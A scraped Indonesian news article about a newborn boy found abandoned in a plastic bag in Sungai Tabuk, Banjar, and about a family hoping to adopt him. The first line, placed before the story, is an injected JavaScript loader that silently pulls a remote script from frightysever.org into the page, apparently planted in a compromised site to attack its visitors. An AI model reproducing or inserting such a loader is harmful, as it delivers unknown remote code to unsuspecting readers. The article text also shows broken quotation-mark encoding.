(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
SUNGAI TABUK, Bayi mungil dengan berat badan 3,5 kg dan tinggi 50 cm ditemukan terlantar di pinggiran Jl Gubernur Syarkawi, Desa Pematang Panjang RT 03, Kecamatan Sungai Tabuk, Kabupaten Banjar, Rabu (27/9). Syukurnya, bayi laki-laki yang diperkirakan sudah tiga hari dibuang orangtuanya ini di lokasi dekat galian pipa PDAM masih selamat!
Dalam kondisi terbungkus plastik putih belanjaan, bayi mungil yang ditemukan pemulung di lokasi ini dalam kondisi menangis. Menurut keterangan bidan Puskesmas Sungai Tabuk, Norbaiti, bayi malang ini diperkirakan sudah berada di dalam bungkusan plastik selama tiga hari.
Indikasinya, pada bagian ari-ari bayi telah dipenuhi belatung dan tali pusar telah mengering. “Mau saya bawa ke rumah bayi ini, sehingga akan lebih maksimal penangannya,†ujar Norbaiti kepada kanalkalimantan.com.
Meski pun kondisi bayi sehat, namun tetaplah harus diberi vaksin dan antibiotik agartidak terjadi hal-hal yang tidak diinginkan seperti infeksi. “Sementara akan saya kasih antibiotik amoxando sama vaksin hepatitis HBO,†terangnya.
Bidan yang tinggal di Desa Sungai Lulut ini mengatakan, bayi yang beruntung masih tertolong ini saat ditemukan tubuh dan wajahnya nampak kotor. Setelah itu, kemudian dibersihkan dan diberi kehangatan dengan beri pakaian bayi.
“Kasian dia sudah beberapa hari kedinginan,†katanya sambil mengelus-elus pipi bayi itu.
Beberapa menit setelah bayi itu dibawa oleh bidan, datang dua orang perempuan dan 1 bocah laki-laki. Mereka adalah Siti Samsiah (54) dan Rima (21) serta Riski (9). Kedatangan keluarga kecil ini bertujuan mengadopsi bayi untuk keponakannya bernama Khairunnisa (26) yang sudah 10 tahun berumah tangga, tapi belum memiliki buah hati.
Kata Siti Samsiah, dia bersama pihak keluarga keponakannya itu, sudah sering mendatangi temuan-temuan bayi hidup untuk diadopsi. Namun nasib beruntungnya tak kunjung datang. “Kemarin kami sudah pernah mendatangi ke Martapura, tapi kata pihak rumah sakit sudah diadopsi sama orang lain,†katanya.
Wanita yanag tinggal di Trisakti Banjarmasin ini mengungkapkan, informasi temuan bayi dilihat dari group facebook. Dengan segera dia bersama anak dan cucunya bergegas menuju Polsek Sungai Tabuk. “Mudah-mudahan tidak didahului orang lain lagi,†harapnya.
Sementara Kapolsek Sungai Tabuk  ketika ingin dikonfirmasi terkait akan temuan bayi ini, enggan memberikan komentar dan meminta awak media untuk langsung menanyakan langsung ke Polres Banjar.***
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
This website uses cookies.